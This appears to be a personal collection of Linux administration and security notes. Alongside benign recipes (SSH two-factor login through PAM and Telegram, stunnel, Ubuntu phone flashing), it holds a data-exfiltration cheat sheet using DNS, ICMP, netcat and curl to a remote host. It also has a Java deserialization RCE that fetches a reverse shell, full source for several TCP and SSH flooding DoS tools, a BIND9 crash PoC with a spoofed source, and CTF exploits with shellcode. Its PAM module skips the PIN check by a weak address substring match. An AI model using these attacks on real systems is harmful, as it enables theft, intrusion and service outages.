# SSH two-factor authentication (pam + telegram)


# apt-get install libpam-python

# grep -m 1 ChallengeResponseAuthentication /etc/ssh/sshd_config
ChallengeResponseAuthentication yes

# cat /etc/pam.d/sshd | grep -B 1 -A 1 authentication
auth requisite /lib/security/pam_python.so /lib/security/telegramPIN.py
# Standard Un*x authentication.
@include common-auth

# cat /lib/security/telegramPIN.py
import base64
import random
import subprocess

def pam_sm_authenticate(pamh, flags, argv):
  local_network = '192.168.1.'
  if local_network in pamh.rhost:
      return pamh.PAM_SUCCESS
  else:
    try:
      user = pamh.get_user(None)
    except pamh.exception, e:
      return e.pam_result
    r = random.SystemRandom()
    pin = ''.join([str(r.randint(0, 9)) for i in xrange(0,8)])
    b64 = base64.b64encode('SSH-PIN = ' + pin)
    subprocess.Popen(['/send_telegram_msg.py', b64])
    msg = pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'PIN: ')
    rsp = pamh.conversation(msg)
    if rsp.resp == pin:
      return pamh.PAM_SUCCESS
    return pamh.PAM_AUTH_ERR

def pam_sm_setcred(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_acct_mgmt(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_open_session(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_close_session(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_chauthtok(pamh, flags, argv):
  return pamh.PAM_SUCCESS

# service ssh restart

References

http://pam-python.sourceforge.net/doc/html/
http://www.linux-pam.org/Linux-PAM-html/Linux-PAM_MWG.html

# Covert channels for data exfiltration


DNS

local# xxd -p -c 16 $file | while read line; do dig @$remote $line. +time=1 +retry=0 & done
remote# tcpdump -ni any -Xs 0 "host $remote and udp dst port 53"

ICMP

local# xxd -p -c 32 $file | while read line; do ping -p $line -c 1 $remote; done
remote# tcpdump -ni any -Xs 0 'host $remote icmp'

Raw

local# nc $remote $port < $file
remote# nc -l -p $port

HTTP/S

local# curl --data "@$file" http://$remote:$port
local# curl --data "param=`cat $file`" http://$remote:$port
local# curl --header "header=`cat $file`" http://$remote:$port
remote# nc -l -p $port

# Unserialize rce vulnerability in Java


Server - 192.168.1.1
# wget -O jboss-4.2.3.zip http://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA/jboss-4.2.3.GA-jdk6.zip/download
# unzip jboss-4.2.3.zip
# mv jboss-4.2.3.GA /usr/local/share/jboss
# adduser appserver
# chown -R appserver /usr/local/share/jboss
# su -l appserver
$ cd /usr/local/share/jboss/bin
$ ./run.sh -b 0.0.0.0

Client - 192.168.1.2
# wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar
# java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'wget -O /tmp/rshell http://192.168.1.2/rshell' > /tmp/payload
# curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://192.168.1.1:8080/invoker/JMXInvokerServlet

References

http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

# mod_rewrite: Remove a query string parameter


# a2enmod rewrite
# service apache2 restart
# cat /etc/apache2/sites-available/default
        <Directory /var/www/>
                Options FollowSymLinks MultiViews
                AllowOverride All

# cat /var/www/.htaccess
RewriteEngine on
RewriteCond %{QUERY_STRING} ^(.*)[Pp][Aa][Rr][Aa][Mm]3=(.*?)(&(.*))?$
RewriteRule (.*) /$1?%1%4 [R=307]
>>> http://localhost/page.php?param1=1&param2=2&param3=3&param4=4&param5=5
<<< http://localhost/page.php?param1=1&param2=2&param4=4&param5=5

>>> http://localhost/page.php?param1=1&param3=3&param2=2&param3=3&param5=5
<<< http://localhost/page.php?param1=1&param2=2&param5=5

>>> http://localhost/page.php?param1=1&param2=2&PaRaM3=3
<<< http://localhost/page.php?param1=1&param2=2

# Ubuntu phone: chroot


# mkdir /home/chroot
# cd /home/chroot
# cat /etc/lsb-release | grep CODENAME
DISTRIB_CODENAME=vivid
# wget http://cdimage.ubuntu.com/ubuntu-touch/vivid/daily-preinstalled/current/vivid-preinstalled-touch-armhf.tar.gz
# tar -zxvf vivid-preinstalled-touch-armhf.tar.gz
# rm vivid-preinstalled-touch-armhf.tar.gz
# cd /
# mount -o bind /dev /home/chroot/dev
# mount -o bind /sys /home/chroot/sys
# mount -o bind /tmp /home/chroot/tmp
# mount -t proc none /home/chroot/proc
# chroot /home/chroot
# export PS1="(chroot) $PS1"
# rm /etc/resolv.conf
# echo 'nameserver 8.8.8.8' > /etc/resolv.conf
# apt update && apt upgrade

# DoS tools to test network resources consumption


Raw-sockets

Fast and does not consume local resources.

# sip="192.168.1.1"
# dip="192.168.1.2"
# python clean_iptables.py $dip
# pypy raw-sockets-tcp3wh.py true 100 $sip $dip 22

Raw-scapy

Slow but does not consume local resources

# dip="192.168.1.2"
# python clean_iptables.py $ip
# python raw-scapy-tcp3wh.py true 100 $dip 22

Kernel-3wh

Fast but consumes local resources.

# sip="192.168.1.1"
# dip="192.168.1.2"
# python clean_iptables.py $dip
# pypy kernel-tcp3wh.py 50 true $sip $dip 22

Kernel-sshopen

Fast but consumes local resources.

# sip="192.168.1.1"
# dip="192.168.1.2"
# python clean_iptables.py $dip
# python kernel-sshopen.py true 50 $sip $dip 22

Source code

# cat lib.py
import subprocess
import sys

def iptables(action, dip = None):
 command = 'iptables -t filter -n -L OUTPUT'
 p = subprocess.Popen(command.split(' '), stdout = subprocess.PIPE)
 result = p.communicate()[0]
 if action == 'add':
  if dip not in result:
   command = 'iptables -A OUTPUT -p tcp -d ' + dip + ' --tcp-flags RST RST -j DROP'
   subprocess.Popen(command.split(' '))
   command = 'iptables -A OUTPUT -p tcp -d ' + dip + ' --tcp-flags FIN,ACK FIN,ACK -j DROP'
   subprocess.Popen(command.split(' '))
   command = 'iptables -t filter -n -L OUTPUT'
   p = subprocess.Popen(command.split(' '), stdout = subprocess.PIPE)
   result = p.communicate()[0]
 elif action == 'delete':
  if dip in result:
   command = 'iptables -D OUTPUT -p tcp -d ' + dip + ' --tcp-flags RST RST -j DROP'
   subprocess.Popen(command.split(' '))
   command = 'iptables -D OUTPUT -p tcp -d ' + dip + ' --tcp-flags FIN,ACK FIN,ACK -j DROP'
   subprocess.Popen(command.split(' '))
   command = 'iptables -t filter -n -L OUTPUT'
   p = subprocess.Popen(command.split(' '), stdout = subprocess.PIPE)
   result = p.communicate()[0]
 print result

def ctrlc(signal, frame):
 print '=> Interruption'
 print '[+] Done'
 sys.exit()

# cat clean_iptables.py
#! /usr/bin/env python

import lib
import sys

dip = sys.argv[1]
lib.iptables('delete', dip)

# cat raw-sockets-tcp3wh.py
#! /usr/bin/env python

# Author: t0n1
# Description: Raw Sockets TCP 3 Way Handshake flooding tool

import lib
import random
import signal
import socket
import struct
import sys
import threading
import time

loop = sys.argv[1]
threads = int(sys.argv[2])
sip = sys.argv[3]
sport = random.randint(1024, 65535)
dip = sys.argv[4]
dport = int(sys.argv[5])

class IP():
 def __init__(self, sip, dip):
  self.ver = 4
  self.ihl = 5
  self.tos = 0
  self.tl = 0
  self.ide = 0
  self.frag_off = 0
  self.ttl = 255
  self.proto = socket.IPPROTO_TCP
  self.check = 0
  self.saddr = socket.inet_aton(sip)
  self.daddr = socket.inet_aton(dip)

 def make_header(self):
  self.header = struct.pack('!BBHHHBBH4s4s', \
   (self.ver << 4) + self.ihl, self.tos, self.tl, \
   self.ide, self.frag_off, \
   self.ttl, self.proto, self.check, \
   self.saddr, \
   self.daddr)

class TCP():
 def __init__(self, sport, dport):
  self.sport = sport
  self.dport = dport
  self.seq = 0
  self.ack_num = 0
  self.doff = 5
  self.urg = 0
  self.ack = 0
  self.psh = 0
  self.rst = 0
  self.syn = 0
  self.fin = 0
  self.window = 29200
  self.check = 0
  self.urg_ptr = 0

 def make_header(self):
  self.header = struct.pack('!HHLLBBH', \
   self.sport, self.dport, \
   self.seq, \
   self.ack_num, \
   (self.doff << 4) + 0, self.flags,  self.window) + \
   struct.pack('H', self.check) + \
   struct.pack('!H', self.urg_ptr)

 def make_flags(self):
  self.flags = (self.urg << 5) + (self.ack << 4) + (self.psh << 3) + (self.rst << 2) + (self.syn << 1) + self.fin
 
def checksum(msg):
 s = 0
 for i in range(0, len(msg), 2):
  w = ord(msg[i]) + (ord(msg[i+1]) << 8 )
  s = s + w
 s = (s >> 16) + (s & 0xffff);
 s = s + (s >> 16);
 s = ~s & 0xffff
 return s
 
def tcp3wh(sip, sport, dip, dport):
 try:
  ip = IP(sip, dip)
  tcp = TCP(sport, dport)
  tcp.syn = 1
  tcp.make_flags()
  tcp.make_header()

  pseudo_header = struct.pack('!4s4sBBH', ip.saddr, ip.daddr, 0, ip.proto, len(tcp.header)) + tcp.header
  tcp.check = checksum(pseudo_header)
  tcp.make_header()

  packet = tcp.header

  s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
  s.bind(('', 0))
  s.sendto(packet, (dip, 0))
  data = s.recv(1024)
  ack_num = struct.unpack('!L', data[24:28])[0] + 1

  tcp.seq += 1
  tcp.ack_num = ack_num
  tcp.syn = 0
  tcp.ack = 1
  tcp.make_flags()
  tcp.check = 0
  tcp.make_header()
  pseudo_header = struct.pack('!4s4sBBH', ip.saddr, ip.daddr, 0, ip.proto, len(tcp.header)) + tcp.header
  tcp.check = checksum(pseudo_header)
  tcp.make_header()
  packet = tcp.header
  s.sendto(packet, (dip, 0))
 except:
  pass

signal.signal(signal.SIGINT, lib.ctrlc)

if loop != 'true':
 loop = int(loop)

print '[+] Target = ' + dip
print '[+] Droping output TCP RST and FIN+ACK'
lib.iptables('add', dip)

while loop > 0:
 print '[+] Launching threads = ',
 for i in range(threads):
  print i + 1,
  sport = (sport + 1) % 65535
  if sport < 1024: sport += 1024
  threading.Thread(target = tcp3wh, args = (sip, sport, dip, dport)).start()
 print
 print sport
 time.sleep(1)
 if loop != 'true': loop -= 1
print '[+] Done'

# cat raw-scapy-tcp3wh.py
#! /usr/bin/env python

# Author: t0n1
# Description: Raw Scapy TCP 3 Way Handshake flooding tool

import lib
import random
import signal
from scapy.all import *
import signal
import sys
import threading

loop = sys.argv[1]
threads = int(sys.argv[2])
dip = sys.argv[3]
dport = int(sys.argv[4])

def tcp3wh(dip, dport):
 ip = IP(dst = dip)
 sport = seq = random.randint(1024, 65535)
 tcp_syn = TCP(dport = dport, sport = sport, flags = 'S', seq = seq)
 packet = ip/tcp_syn
 tcp_synack = sr1(packet, verbose = 0)
 ack = tcp_synack.seq + 1
 tcp_ack = TCP(dport = dport, sport = sport, flags = 'A', seq = seq + 1, ack = ack)
 packet = ip/tcp_ack
 send(packet, verbose = 0)

signal.signal(signal.SIGINT, lib.ctrlc)

if loop != 'true':
 loop = int(loop)

print '[+] Target = ' + dip
print '[+] Droping output TCP RST and FIN+ACK'
lib.iptables('add', dip)

while loop > 0:
 print '[+] Launching threads = ',
 for i in range(threads):
  print i + 1,
  threading.Thread(target = tcp3wh, args = (dip, dport)).start()
 print
 if loop != 'true': loop -= 1
print '[+] Done'

# cat kernel-tcp3wh.py
#! /usr/bin/env python

# Author: t0n1
# Description: Kernel TCP 3 Way Handshake flooding tool

import lib
import random
import signal
import socket
import sys
import threading
import time

loop = sys.argv[1]
threads = int(sys.argv[2])
sip = sys.argv[3]
sport = random.randint(1024, 65535)
dip = sys.argv[4]
dport = int(sys.argv[5])

def tcp3wh(sip, sport, dip, dport):
 try:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.bind((sip, sport))
  s.connect((dip, dport))
  s.shutdown(socket.SHUT_RDWR)
  s.close()
 except:
  pass

signal.signal(signal.SIGINT, lib.ctrlc)

if loop != 'true':
 loop = int(loop)

print '[+] Target = ' + dip
print '[+] Droping output TCP RST and FIN+ACK'
lib.iptables('add', dip)

while loop > 0:
 print '[+] Launching threads = ',
 for i in range(threads):
  print i + 1,
  sport = (sport + 1) % 65535
  if sport < 1024: sport += 1024
  threading.Thread(target = tcp3wh, args = (sip, sport, dip, dport)).start()
 print
 print sport
 time.sleep(1)
 if loop != 'true': loop -= 1
print '[+] Done'

# cat kernel-sshopen.py
#! /usr/bin/env python

# Author: t0n1
# Description: Kernel SSH-Open flooding tool

import lib
import paramiko
import random
import signal
import socket
import sys
import threading
import time

loop = sys.argv[1]
threads = int(sys.argv[2])
sip = sys.argv[3]
sport = random.randint(1024, 65535)
dip = sys.argv[4]
dport = int(sys.argv[5])

def openssh(sip, sport, ip, dport):
 try:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.bind((sip, sport))
  s.connect((dip, dport))
  t = paramiko.transport.Transport(s)
  time.sleep(1)
 except:
  pass

signal.signal(signal.SIGINT, lib.ctrlc)

if loop != 'true':
 loop = int(loop)

print '[+] Target = ' + dip
print '[+] Droping output TCP RST and FIN+ACK'
lib.iptables('add', dip)

while loop > 0:
 print '[+] Launching threads = ',
 for i in range(threads):
  print i + 1,
  sport = (sport + 1) % 65535
  if sport < 1024: sport += 1024
  threading.Thread(target = openssh, args = (sip, sport, dip, dport)).start()
 print
 print sport
 time.sleep(1)
 if loop != 'true': loop -= 1
print '[+] Done'

# Ubuntu phone: Writeable image and ssh access


$ phablet-config writable-image
$ adb shell
$ sudo su -
# cat /etc/init/ssh.override
manual
exec /usr/sbin/sshd -D
# setprop persist.service.ssh true
# ssh-keygen -A
# service ssh start
# netstat -putan
# reboot
$ ssh phablet@mx4
$ sudo su -
# apt-get update
# apt-get upgrade

# Ubuntu phone: adb (Android Debug Bridge) commands


Architecture

__Phone__                 _______________Host______________
[Daemon]-----<USB/TCP>-----[Server]-----<TCP>-----[Client]
/usr/bin/adbd              /usr/bin/adb -P 5037 fork-server server
                                                  /usr/bin/adb <command>

Commands

$ adb -h
$ adb kill-server
$ adb start-server
$ adb devices -l
$ adb get-state # offline | bootloader | device
$ adb get-serialno
$ adb get-devpath
$ adb status-window # watch 'adb get-state'
$ adb push /local/path /remote/path
$ adb pull /remote/path /local/path
$ adb reboot [bootloader|recovery]
$ adb sync /local/path # if local_file is newer then adb push
$ adb shell [command]

# Ubuntu phone: Image files


$ ubuntu-device-flash query --device=arale --channel=ubuntu-touch/stable/meizu.en --show-image
Device: arale
Description: ubuntu=20150720,device=20150709-8965e37,custom=20150716-819-8-42,version=3
Version: 3
Channel: ubuntu-touch/stable/meizu.en
Files:
 0 https://system-image.ubuntu.com/pool/ubuntu-3f76909df7e5a57984c51d6eb6d56391bef08c637279d7f179cb7bc866b1cbe7.tar.xz 299883524 665847e3b9f79c8179ca4654f1fa47dc678b1aed1565b0925428d11e15fecab6
 1 https://system-image.ubuntu.com/pool/device-9e1719b0b8ad1bb572fbdd49d3e2b7dc6fd382365c0e1b56f4f9d732b656df11.tar.xz 108227112 0622bed0cde446a0cc0fdea0ff131edde225665fb5590a2c744e55b425d37af5
 2 https://system-image.ubuntu.com/pool/custom-a6418398d3c33da55e36ec02b695cdc0bfd45f32fc481d2ff05a1983f866234d.tar.xz 63786376 f8d2459586a0b0518eda9b521a5bc7cb76dbfce18e4677870136e7cc9e86d74b
 3 https://system-image.ubuntu.com/ubuntu-touch/stable/meizu.en/arale/version-3.tar.xz 448 ef14dd19f4e28a2447b37b576961d5e30b8611a212c912ab42c8b4b111e2762b
Metadata   : version.tar.xz
Nexus | BQ | Meizu : custom.tar.xz
Ubuntu   : ubuntu.tar.xz
Nexus 4 | E4.5 | MX4 : device.tar.xz

# Ubuntu phone: ubuntu-device-flash


$ adb devices
$ adb shell grep ro.product.name /system/build.prop
ro.product.name=arale
$ adb shell grep build.id /system/build.prop
ro.build.id=KOT49H
$ adb shell grep ro.product.device /system/build.prop
ro.product.device=arale
$ ubuntu-device-flash query --device=arale --list-channels
$ wget http://people.canonical.com/~alextu/tangxi/recovery/recovery.img
$ adb reboot recovery
$ fastboot flash recovery recovery.img
$ fastboot reboot-bootloader
$ ubuntu-device-flash touch --device=arale --channel=ubuntu-touch/stable/meizu.en --developer-mode --password=1234 --wipe

# CVE-2015-5477: BIND9 TKEY assert DoS


Server

# wget -O bind-9-10-2-p2.tar.gz https://www.isc.org/downloads/file/bind-9-10-2-p2/?version=tar-gz
# tar xvzf bind-9-10-2-p2.tar.gz
# cd bind-9.10.2-P2
# ./configure --without-openssl
# make
# touch /etc/named.conf
# bin/named/named -g

Client

# apt-get install fpdns
# fpdns server_ip
fingerprint (server_ip, server_ip): ISC BIND 9.2.3rc1 -- 9.6.1-P1 [recursion enabled]
# dig @server_ip -c chaos -t txt version.bind +short
"9.10.2-P2"
# wget https://raw.githubusercontent.com/robertdavidgraham/cve-2015-5477/master/tkill.c
# gcc -o tkill tkill.c
# ./tkill server_ip
--- PoC for CVE-2015-5477 BIND9 TKEY assert DoS ---
[+] server_ip: Resolving to IP address
[+] server_ip: Resolved to multiple IPs (NOTE)
[+] server_ip: Probing...
[+] Querying version...
[+] server_ip: "9.10.2-P2" 
[+] Sending DoS packet...
[+] Waiting 5-sec for response...
[+] timed out, probably crashed
# cat cve-2015-5477.py
from scapy.all import *
from sys import argv

target = argv[1]

spoofed = '192.0.2.1'
dns_query = '\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x03foo\x03bar\x00\x00\xf9\x00\xff\x03foo\x03bar\x00\x00\x10\x00\xff\x00\x00\x00\x00\x00\x07\x06foobar'

send(IP(src = spoofed, dst = target) / UDP(dport = 53) / Raw(load = dns_query))
# python cve-2015-5477.py server_ip

Reference

https://github.com/robertdavidgraham/cve-2015-5477

# Avoid sending public keys to SSH servers by default


# cat .ssh/config
Host *
 IdentitiesOnly yes
 PubkeyAuthentication no

#Host example1
# Hostname ssh.example1.org
# Port 22
# User test


#Host example2
# Hostname ssh.example2.org
# IdentityFile ~/.ssh/example2_id_rsa
# PubkeyAuthentication yes

# ssh-keygen -t rsa -b 2048 -C test@ssh.example2.org -f ~/.ssh/example2_id_rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ~/.ssh/example2_id_rsa.
Your public key has been saved in ~/.ssh/example2_id_rsa.pub.
The key fingerprint is:
4d:4b:d5:3c:ca:db:ed:b4:2b:6f:6e:3d:74:32:f3:31 test@ssh.example2.org

Reference

https://github.com/FiloSottile/whosthere#how-do-i-stop-it

# ownCloud files synchronization (copy)


ownCloud commandline client

# wget http://download.opensuse.org/repositories/isv:ownCloud:desktop/xUbuntu_14.04/Release.key
# apt-key add - < Release.key
# echo 'deb http://download.opensuse.org/repositories/isv:/ownCloud:/desktop/xUbuntu_14.04/ /' >> /etc/apt/sources.list.d/owncloud-client.list
# apt-get update
# apt-get install owncloud-client
# owncloudcmd -h
# mkdir data
# cat sync.sh
#!/bin/bash

user="username"
password="password"
local_dir="/data"
hostname="remotehost"
path="dir/subdir"
server_url="https://$hostname/remote.php/webdav/$path"

owncloudcmd \
--silent \
--trust \
--user $user \
--password $password \
$local_dir \
$server_url

# ./sync.sh

WebDAV file system

# apt-get install davfs2
# cat mount_davfs.sh
#!/bin/bash

user="username"
password="password"
local_dir="/data"
hostname="remotehost"
path="dir/subdir"
server_url="https://$hostname/remote.php/webdav/$path"

echo -e "$user\n$password\ny" | mount.davfs $server_url $local_dir

# ./mount_davfs.sh
# ls -l /data

Reference

https://owncloud.org/install/#install-clients

# Tunnel SSH connections over TLS


Server

# apt-get install stunnel4
# openssl genrsa 1024 > stunnel.key
# openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt
# cat stunnel.crt stunnel.key > stunnel.pem
# mv stunnel.pem /etc/stunnel/.
# cat /etc/stunnel/stunnel.conf
pid  = /var/run/stunnel.pid
cert = /etc/stunnel/stunnel.pem

[ssh]
accept  = 1.2.3.4:443
connect = 127.0.0.1:22
# cat /etc/default/stunnel4 | grep ENABLED
ENABLED=1
# service stunnel4 start

Client

# apt-get install stunnel4
# cat /etc/stunnel/stunnel.conf
pid  = /var/run/stunnel.pid
client = yes

[ssh]
accept  = 127.0.0.1:22443
connect = 1.2.3.4:443
# cat /etc/default/stunnel4 | grep ENABLED
ENABLED=1
# service stunnel4 start
# ssh -p 22443 localhost

# PicoCTF 2k14 - CrudeCrypt


# cd /home/crudecrypt
# cat crude_crypt.c 
...

bool check_hostname(file_header* header) {
    char saved_host[HOST_LEN], current_host[HOST_LEN];
    strncpy(saved_host, header->host, strlen(header->host));
    safe_gethostname(current_host, HOST_LEN);
    return strcmp(saved_host, current_host) == 0;
}

...
# echo 'test' > ~/plain.txt
$ ./crude_crypt encrypt ~/plain.txt ~/encrypted.txt
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: test

=> Encrypted file successfully

# gdb ./crude_crypt
(gdb) disassemble check_hostname
   0x08048e03 <+0>: push   ebp
   0x08048e04 <+1>: mov    ebp,esp
   0x08048e06 <+3>: sub    esp,0x58
   0x08048e09 <+6>: mov    eax,DWORD PTR [ebp+0x8]
   0x08048e0c <+9>: add    eax,0x8
   0x08048e0f <+12>: mov    DWORD PTR [esp],eax
   0x08048e12 <+15>: call   0x80488f0 <strlen@plt>
   0x08048e17 <+20>: mov    edx,DWORD PTR [ebp+0x8]
   0x08048e1a <+23>: add    edx,0x8
   0x08048e1d <+26>: mov    DWORD PTR [esp+0x8],eax
   0x08048e21 <+30>: mov    DWORD PTR [esp+0x4],edx
   0x08048e25 <+34>: lea    eax,[ebp-0x28]
   0x08048e28 <+37>: mov    DWORD PTR [esp],eax
   0x08048e2b <+40>: call   0x8048840 <strncpy@plt>
   0x08048e30 <+45>: mov    DWORD PTR [esp+0x4],0x20
   0x08048e38 <+53>: lea    eax,[ebp-0x48]
   0x08048e3b <+56>: mov    DWORD PTR [esp],eax
   0x08048e3e <+59>: call   0x8048b09 <safe_gethostname>
   0x08048e43 <+64>: lea    eax,[ebp-0x48]
   0x08048e46 <+67>: mov    DWORD PTR [esp+0x4],eax
   0x08048e4a <+71>: lea    eax,[ebp-0x28]
   0x08048e4d <+74>: mov    DWORD PTR [esp],eax
   0x08048e50 <+77>: call   0x80489a0 <strcmp@plt>
   0x08048e55 <+82>: test   eax,eax
   0x08048e57 <+84>: sete   al
   0x08048e5a <+87>: leave  
   0x08048e5b <+88>: ret

(gdb) b *0x08048e2b

(gdb) run decrypt ~/encrypted.txt ~/decrypted.txt
Starting program: /home/crudecrypt/crude_crypt decrypt ~/encrypted.txt ~/decrypted.txt
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: test

Breakpoint 1, 0x08048e2b in check_hostname ()

(gdb) bt
#0  0x08048e2b in check_hostname ()
#1  0x08048f0e in decrypt_file ()
#2  0x08049154 in main ()

(gdb) x/24xw $esp
0xffffd4b0: 0xffffd4e0 0x0804c368 0x00000005 0x00000000
0xffffd4c0: 0xffffd508 0xf7ff0500 0xf7de8428 0xf7de8000
0xffffd4d0: 0x00000000 0x00000000 0xffffd508 0x08048c8d
0xffffd4e0: 0x0804c398 0x0804c360 0x00000030 0x0804925d
0xffffd4f0: 0xffffd548 0xf7ff0500 0x00000010 0x0804c398
0xffffd500: 0x00000000 0x00000000 0xffffd548 0x08048f0e

# cat ~/crude_xplt.c
...

void encrypt_file(FILE* raw_file, FILE* enc_file, unsigned char* key, char *offset) {
    int size = file_size(raw_file);
    size_t block_size = MULT_BLOCK_SIZE(sizeof(file_header) + size);
    char* padded_block = calloc(1, block_size);

    file_header header;
    init_file_header(&header, size);

    char *shellcode = "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
 
    int sc_sz = strlen(shellcode);
    int nops_sz = 48 - sc_sz - 4;

    memcpy(header.host, shellcode, sc_sz);
    memset(header.host + sc_sz, 0x90, nops_sz);
    memcpy(header.host + sc_sz + nops_sz, offset, 4);
    
    memcpy(padded_block, &header, sizeof(file_header));
    fread(padded_block + sizeof(file_header), 1, size, raw_file);

    if(encrypt_buffer(padded_block, block_size, (char*)key, 16) != 0) {
        printf("There was an error encrypting the file!\n");
        return;
    }

    printf("=> Encrypted file successfully\n");
    fwrite(padded_block, 1, block_size, enc_file);

    free(padded_block);
}

...
# gcc -m32 -std=c99 -o ~/crude_xplt ~/crude_xplt.c -lmcrypt -lcrypto
# ~/crude_xplt ~/plain.txt ~/encrypted.txt `python -c 'print "\xe0\xd4\xff\xff"'`
=> Encrypted file successfully
# (echo "test"; cat) | ./crude_crypt decrypt ~/encrypted.txt  ~/decrypted.txt
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password:
cat flag.txt
writing_software_is_hard

[ * ] Done by sha0 and t0n1

# PicoCTF 2k14 - Nevernote


# cd /home/nevernote
# cat nevernote.c
...
bool get_note(char *dest){
    struct safe_buffer temporary;
    bool valid;

    get_canary(&temporary.can);

    printf("Write your note: ");
    fflush(stdout);
    fgets(temporary.buf, NOTE_SIZE, stdin);

    // disallow some characters
    if (strchr(temporary.buf, '\t') || strchr(temporary.buf, '\r')){
        valid = false;
    }else{
        valid = true;
        strncpy(dest, temporary.buf, NOTE_SIZE); 0x0804c050, 0xffffd334
    }

    verify_canary(&temporary.can);

    return valid;
}
...

# cat canary.h
#define SAFE_BUFFER_SIZE 512

struct canary{
    int canary;
    int *verify;
};

/* buffer overflow resistant buffer */
struct safe_buffer{
    char buf[SAFE_BUFFER_SIZE];
    struct canary can;
};
...

buffer(512) + canary + verify + padding + ret + dest
canary = buffer[0:4]
verify = dest
ret = temporarybuf

# (python -c 'import struct; nop = "\x90"; sc = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; buffer = nop*4 + sc + nop*(512 - 4 - len(sc)); canary = buffer[0:4]; dest = struct.pack("<I", 0x0804c050); verify = dest; padding = nop*16; temporarybuf = struct.pack("<I", 0xffffd334); ret = temporarybuf; print "user\na\n" + buffer + canary + verify + padding + ret + dest'; cat) | ./nevernote
Please enter your name: Enter a command: Write your note:
cat flag.txt
the_hairy_canary_fairy_is_still_very_wary

# PicoCTF 2k14 - Revenge of the Bleichenbacher


# cat bleichenbacher_attack.py 
import gmpy
import hashlib
import sys

# '0001ffffffffff' + '00' + hash + garbage

cmd = sys.argv[1]
sha1 = hashlib.sha1(cmd)
hash = sha1.hexdigest()

padding = '0001ffffffffff'
garbage = 'f' * (768 - len(padding) - 2 - len(hash))
data = padding + '00' + hash + garbage

print data, len(data)

number = gmpy.mpz(int(data, 16))

print cmd, hex(number.root(3)[0])[2:]

# python bleichenbacher_attack.py list
0001ffffffffff0038b62be4bddaa5661c7d6b8e36e28159314df5c7ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 768
list 7fffffffffeaaf6483a8619ae8009d52df3e7921d7819d9d62870b544568abce57f39fa2a74369d54d0ba30926901871ae72ed82a787a5cbbc728c77520bbd360ed07857d0078023e808efd3f815bcfacec62b8d3f18e49ac3743e023aec9bbe80fec3f97b1b90542951c0945b5a14683689da03b422e2ca462c2cf3241964e

# python bleichenbacher_attack.py cat
0001ffffffffff009d989e8d27dc9e0ec3389fc855f142c3d40f0c50ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 768
cat 7fffffffffeab7ccb7e1151dde4920716e7822264ba7031df08d0e85877dfc3f377d52361f9ece607ef63b4c3db72a38509511a9bab8e99fe564d63cc8c83c63d019166d207e83dcdefba0e287bb47915a11999baec3b3612cfd6604220387529d776cf1a1cdbf85e77821786f8102eab3207435dffdab0ac0012bb2541c2d3

# nc vuln2014.picoctf.com 4919
list 7fffffffffeaaf6483a8619ae8009d52df3e7921d7819d9d62870b544568abce57f39fa2a74369d54d0ba30926901871ae72ed82a787a5cbbc728c77520bbd360ed07857d0078023e808efd3f815bcfacec62b8d3f18e49ac3743e023aec9bbe80fec3f97b1b90542951c0945b5a14683689da03b422e2ca462c2cf3241964e
Please enter which directory you'd like to list in (enter '.' for current directory).
.
CommandServer.jar
.profile
flag
.bashrc
.bash_logout
cat 7fffffffffeab7ccb7e1151dde4920716e7822264ba7031df08d0e85877dfc3f377d52361f9ece607ef63b4c3db72a38509511a9bab8e99fe564d63cc8c83c63d019166d207e83dcdefba0e287bb47915a11999baec3b3612cfd6604220387529d776cf1a1cdbf85e77821786f8102eab3207435dffdab0ac0012bb2541c2d3
